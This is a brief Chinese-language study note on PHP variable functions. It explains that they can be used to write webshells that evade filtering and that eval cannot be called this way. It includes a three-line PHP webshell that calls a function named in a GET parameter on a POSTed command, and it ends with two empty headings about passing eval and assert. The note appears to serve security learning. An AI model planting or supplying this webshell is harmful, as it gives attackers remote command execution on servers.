变量函数
PHP支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。变量函数可以用来编写webshell绕过。
eval 属于PHP语法构造的一部分,并不是一个函数,所以不能通过 变量函数 的形式来调用(虽然她确实像极了函数原型),这样的语法构造还包括:echo,print,unset(),isset(),empty(),include,require,…
eval
源代码:
<?
$a=$_GET['a'];
$a($_POST['cmd']);
?>
当get传输eval时
传输其他函数时如 assert: